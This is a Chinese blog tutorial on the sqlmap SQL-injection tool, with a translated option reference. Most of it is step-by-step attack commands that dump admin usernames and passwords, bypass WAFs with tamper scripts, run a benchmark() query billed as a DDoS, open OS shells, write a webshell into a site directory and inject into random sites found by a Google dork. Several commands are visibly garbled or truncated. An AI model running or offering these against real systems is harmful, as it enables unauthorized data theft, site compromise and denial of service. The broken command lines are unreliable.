SQLMAP注入教程-11種常見SQLMAP使用方法詳解

sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工具,只是一個便捷性問題,sql注入另一方面就是手工黨了,這個就另當(dāng)別論了。

一共有11種常見SQLmap使用方法:

一、SQLMAP用于Access數(shù)據(jù)庫注入

(1) 猜解是否能注入

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

(2) 猜解表

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

(3) 根據(jù)猜解的表進行猜解表的字段(假如通過2得到了admin這個表)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin

(4) 根據(jù)字段猜解內(nèi)容(假如通過3得到字段為username和password)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C "username,password"

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C

"username,Bpassword"

二、SQLMAP用于Cookie注入

(1) cookie注入,猜解表

win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --table --level 2

(2) 猜解字段,(通過1的表猜解字段,假如表為admin)

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --columns -T

admin --level 2

(3) 猜解內(nèi)容

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --dump -T

admin -C "username,password" --level 2

三、SQLMAP用于mysql中DDOS攻擊(1) 獲取一個Shell

win:

python sqlmap.py -uhttp://192.168.159.1/news.php?id=1--sql-shell

Linux:

sqlmap -uhttp://192.168.159.1/news.php?id=1--sql-shell

(2) 輸入執(zhí)行語句完成DDOS攻擊

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

四、SQLMAP用于mysql注入

(1) 查找數(shù)據(jù)庫

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"--dbs

(2) 通過第一步的數(shù)據(jù)庫查找表(假如數(shù)據(jù)庫名為dataname)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname --tables

(3) 通過2中的表得出列名(假如表為table_name)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname -T table_name --columns

(4) 獲取字段的值(假如掃描出id,user,password字段)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname -T table_name -C

"id,user,password" --dump

五、SQLMAP中post登陸框注入

(1) 其中的search-test.txt是通過抓包工具burp suite抓到的包并把數(shù)據(jù)保存為這個txt文件我們在使用Sqlmap進行post型注入時,經(jīng)常會出現(xiàn)請求遺漏導(dǎo)致注入失敗的情況。這里分享一個小技巧,即結(jié)合burpsuite來使用sqlmap,用這種方法進行post注入測試會更準(zhǔn)確,操作起來也非常容易。

1. 瀏覽器打開目標(biāo)地址http://?www.xxx.com?/Login.asp

2. 配置burp代理(127.0.0.1:8080)以攔截請求

3. 點擊login表單的submit按鈕

4. 這時候Burp會攔截到了我們的登錄POST請求

5. 把這個post請求復(fù)制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下

6. 運行sqlmap并使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

這里參數(shù)-r 是讓sqlmap加載我們的post請求rsearch-test.txt,而-p 大家應(yīng)該比較熟悉,指定注入用的參數(shù)。

注入點:http://testasp.vulnweb.com/Login.asp

幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2) 自動的搜索

sqlmap -uhttp://testasp.vulnweb.com/Login.asp--forms

(3) 指定參數(shù)搜索

sqlmap -uhttp://testasp.vulnweb.com/Login.asp--data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

inurl后面的語言是由自己定的

注入過程中如果選y是注入,如果不是選n

sqlmap -g inurl:php?id=

七、SQLMAP中的請求延遲

參數(shù) --delay --safe-freq

python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/ ... ot%3B--delay 1

python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/ ... ot%3B--safe-freq 3

參數(shù)

八、SQLMAP繞過WAF防火墻

注入點:http://192.168.159.1/news.php?id=1

sqlmap -uhttp://192.168.159.1/news.php?id=1-v 3 --dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替換space2hash.py或者base64encode.py或者charencode.py

都是編碼方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看權(quán)限

sqlmap -uhttp://192.168.159.1/news.php?id=1--privileges

十、SQLMAP偽靜態(tài)注入(1) 查找數(shù)據(jù)庫

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B--dbs

(2) 通過1中的數(shù)據(jù)庫查找對應(yīng)的表 (假如通過1,得到的是dataname)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname --tables

(3) 通過2中的數(shù)據(jù)表得到字段(假如得到的是tablename表)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname -T

tablename --columns

(4) 通過3得到字段值(假如從3中得到字段id,password)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname -T

tablename -C "password" --dump

十一、SQLMAP注入點執(zhí)行命令與交互寫shell

(1) 注入點:http://192.168.159.1/news.php?id=1

此處采用的是Linux系統(tǒng)

sqlmap -uhttp://192.168.159.1/news.php?id=1--os-cmd=ipconfig

出現(xiàn)語言的選擇根據(jù)實際的測試網(wǎng)站選擇語言

指定目標(biāo)站點D:/www/

(2) 獲取Shell

sqlmap -uhttp://192.168.159.1/news.php?id=1--os-shell

出現(xiàn)語言的選擇根據(jù)實際的測試網(wǎng)站選擇語言

指定目標(biāo)站點D:/www/

輸入ipconfig/all

創(chuàng)建用戶和刪除用戶

只要權(quán)限足夠大,你可以輸入使用任何命令。

其他命令參考下面:

從數(shù)據(jù)庫中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms數(shù)據(jù)庫中搜索字段admin或者password。

讀取與寫入文件

首先找需要網(wǎng)站的物理路徑,其次需要有可寫或可讀權(quán)限。

–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件 (物理路徑)

–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑

#示例:[

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下來指定網(wǎng)站可寫目錄:

“E:\php\htdocs\dvwa”

#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver可以列目錄,不能讀寫文件,但需要一個(xp_dirtree函數(shù))

sqlmap詳細命令:

-is-dba 當(dāng)前用戶權(quán)限(是否為root權(quán)限)

-dbs 所有數(shù)據(jù)庫

-current-db 網(wǎng)站當(dāng)前數(shù)據(jù)庫

-users 所有數(shù)據(jù)庫用戶

-current-user 當(dāng)前數(shù)據(jù)庫用戶

-random-agent 構(gòu)造隨機user-agent

-passwords 數(shù)據(jù)庫密碼

-proxyhttp://local:8080–threads 10 (可以自定義線程加速) 代理

-time-sec=TIMESEC DBMS響應(yīng)的延遲時間(默認為5秒)

Options(選項):

-version 顯示程序的版本號并退出

-h, –help 顯示此幫助消息并退出

-v VERBOSE 詳細級別:0-6(默認為1)

Target(目標(biāo)):

以下至少需要設(shè)置其中一個選項,設(shè)置目標(biāo)URL。

-d DIRECT 直接連接到數(shù)據(jù)庫。

-u URL, –url=URL 目標(biāo)URL。

-l LIST 從Burp或WebScarab代理的日志中解析目標(biāo)。

-r REQUESTFILE 從一個文件中載入HTTP請求。

-g GOOGLEDORK 處理Google dork的結(jié)果作為目標(biāo)URL。

-c CONFIGFILE 從INI配置文件中加載選項。

Request(請求):

這些選項可以用來指定如何連接到目標(biāo)URL。

-data=DATA 通過POST發(fā)送的數(shù)據(jù)字符串

-cookie=COOKIE HTTP Cookie頭

-cookie-urlencode URL 編碼生成的cookie注入

-drop-set-cookie 忽略響應(yīng)的Set – Cookie頭信息

-user-agent=AGENT 指定 HTTP User – Agent頭

-random-agent 使用隨機選定的HTTP User – Agent頭

-referer=REFERER 指定 HTTP Referer頭

-headers=HEADERS 換行分開,加入其他的HTTP頭

-auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)

-auth-cred=ACRED HTTP身份驗證憑據(jù)(用戶名:密碼)

-auth-cert=ACERT HTTP認證證書(key_file,cert_file)

-proxy=PROXY 使用HTTP代理連接到目標(biāo)URL

-proxy-cred=PCRED HTTP代理身份驗證憑據(jù)(用戶名:密碼)

-ignore-proxy 忽略系統(tǒng)默認的HTTP代理

-delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒

-timeout=TIMEOUT 等待連接超時的時間(默認為30秒)

-retries=RETRIES 連接超時后重新連接的時間(默認3)

-scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達式

-safe-url=SAFURL 在測試過程中經(jīng)常訪問的url地址

-safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL

Enumeration(枚舉):

這些選項可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運行您自己的SQL語句。

-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識

-current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶

-current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫

-is-dba 檢測DBMS當(dāng)前用戶是否DBA

-users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶

-passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希

-privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限

-roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色

-dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫

-D DBname 要進行枚舉的指定數(shù)據(jù)庫名

-T TBLname 要進行枚舉的指定數(shù)據(jù)庫表(如:-T tablename –columns)

-tables 枚舉的DBMS數(shù)據(jù)庫中的表

-columns 枚舉DBMS數(shù)據(jù)庫表列

-dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項

-dump-all 轉(zhuǎn)儲所有的DBMS數(shù)據(jù)庫表中的條目

-search 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)

-C COL 要進行枚舉的數(shù)據(jù)庫列

-U USER 用來進行枚舉的數(shù)據(jù)庫用戶

-exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據(jù)庫

-start=LIMITSTART 第一個查詢輸出進入檢索

-stop=LIMITSTOP 最后查詢的輸出進入檢索

-first=FIRSTCHAR 第一個查詢輸出字的字符檢索

-last=LASTCHAR 最后查詢的輸出字字符檢索

-sql-query=QUERY 要執(zhí)行的SQL語句

-sql-shell 提示交互式SQL的shell

Optimization(優(yōu)化):

這些選項可用于優(yōu)化SqlMap的性能。

-o 開啟所有優(yōu)化開關(guān)

–predict-output 預(yù)測常見的查詢輸出

–keep-alive 使用持久的HTTP(S)連接

–null-connection 從沒有實際的HTTP響應(yīng)體中檢索頁面長度

–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)

Injection(注入):

這些選項可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本。

-p TESTPARAMETER 可測試的參數(shù)(S)

–dbms=DBMS 強制后端的DBMS為此值

–os=OS 強制后端的DBMS操作系統(tǒng)為這個值

–prefix=PREFIX 注入payload字符串前綴

–suffix=SUFFIX 注入payload字符串后綴

–tamper=TAMPER 使用給定的腳本(S)篡改注入數(shù)據(jù)

Detection(檢測):

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應(yīng)頁面的內(nèi)容。

–level=LEVEL 執(zhí)行測試的等級(1-5,默認為1)

–risk=RISK 執(zhí)行測試的風(fēng)險(0-3,默認為1)

–string=STRING 查詢時有效時在頁面匹配字符串

–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式

–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁

Techniques(技巧):這些選項可用于調(diào)整具體的SQL注入測試。

–technique=TECH SQL注入技術(shù)測試(默認BEUST)

–time-sec=TIMESEC DBMS響應(yīng)的延遲時間(默認為5秒)

–union-cols=UCOLS 定列范圍用于測試UNION查詢注入

–union-char=UCHAR 用于暴力猜解列數(shù)的字符

Fingerprint(指紋):-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋

Brute force(蠻力):

這些選項可以被用來運行蠻力檢查。

–common-tables 檢查存在共同表

–common-columns 檢查存在共同列

User-defined function injection(用戶自定義函數(shù)注入):

這些選項可以用來創(chuàng)建用戶自定義函數(shù)。

–udf-inject 注入用戶自定義函數(shù)

–shared-lib=SHLIB 共享庫的本地路徑

File system access(訪問文件系統(tǒng)):

這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)。

–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件

–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件

–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑

Operating system access(操作系統(tǒng)訪問):

這些選項可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。

–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令

–os-shell 交互式的操作系統(tǒng)的shell

–os-pwn 獲取一個OOB shell,meterpreter或VNC

–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC

–os-bof 存儲過程緩沖區(qū)溢出利用

–priv-esc 數(shù)據(jù)庫進程用戶權(quán)限提升

–msf-path=MSFPATH Metasploit Framework本地的安裝路徑

–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

Windows注冊表訪問:

這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊表。

–reg-read 讀一個Windows注冊表項值

–reg-add 寫一個Windows注冊表項值數(shù)據(jù)

–reg-del 刪除Windows注冊表鍵值

–reg-key=REGKEY Windows注冊表鍵

–reg-value=REGVAL Windows注冊表項值

–reg-data=REGDATA Windows注冊表鍵值數(shù)據(jù)

–reg-type=REGTYPE Windows注冊表項值類型

這些選項可以用來設(shè)置一些一般的工作參數(shù)。

-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中

-s SESSIONFILE 保存和恢復(fù)檢索會話文件的所有數(shù)據(jù)

–flush-session 刷新當(dāng)前目標(biāo)的會話文件

–fresh-queries 忽略在會話文件中存儲的查詢結(jié)果

–eta 顯示每個輸出的預(yù)計到達時間

–update 更新SqlMap

–save file保存選項到INI配置文件

–batch 從不詢問用戶輸入,使用所有默認配置。

Miscellaneous(雜項):

–beep 發(fā)現(xiàn)SQL注入時提醒

–check-payload IDS對注入payloads的檢測測試

–cleanup SqlMap具體的UDF和表清理DBMS

–forms 對目標(biāo)URL的解析和測試形式

–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結(jié)果

–page-rank Google dork結(jié)果顯示網(wǎng)頁排名(PR)

–parse-errors 從響應(yīng)頁面解析數(shù)據(jù)庫管理系統(tǒng)的錯誤消息

–replicate 復(fù)制轉(zhuǎn)儲的數(shù)據(jù)到一個sqlite3數(shù)據(jù)庫

–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard 給初級用戶的簡單向?qū)Ы缑?/p>

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,567評論 2 22
  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載,對原文中一些明顯的拼寫錯誤進行修正,并標(biāo)注對自己有用的信息。 ======...
    wind_飄閱讀 2,207評論 0 5
  • sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    查無此人asdasd閱讀 1,624評論 0 1
  • SQLMAP作用 判斷可注入的參數(shù) 判斷可以用哪種SQL注入技術(shù)來注入 識別出哪種數(shù)據(jù)庫 根據(jù)用戶選擇,讀取哪些數(shù)...
    陸灑脫閱讀 3,816評論 1 4
  • 好想好想埋怨面條啊 她推薦我看花樣青春 老撾篇和三時三餐 真的太好看了 本來是想看柳演錫 結(jié)果覺得孫浩俊好可愛 看...
    是多肉閱讀 244評論 0 1

友情鏈接更多精彩內(nèi)容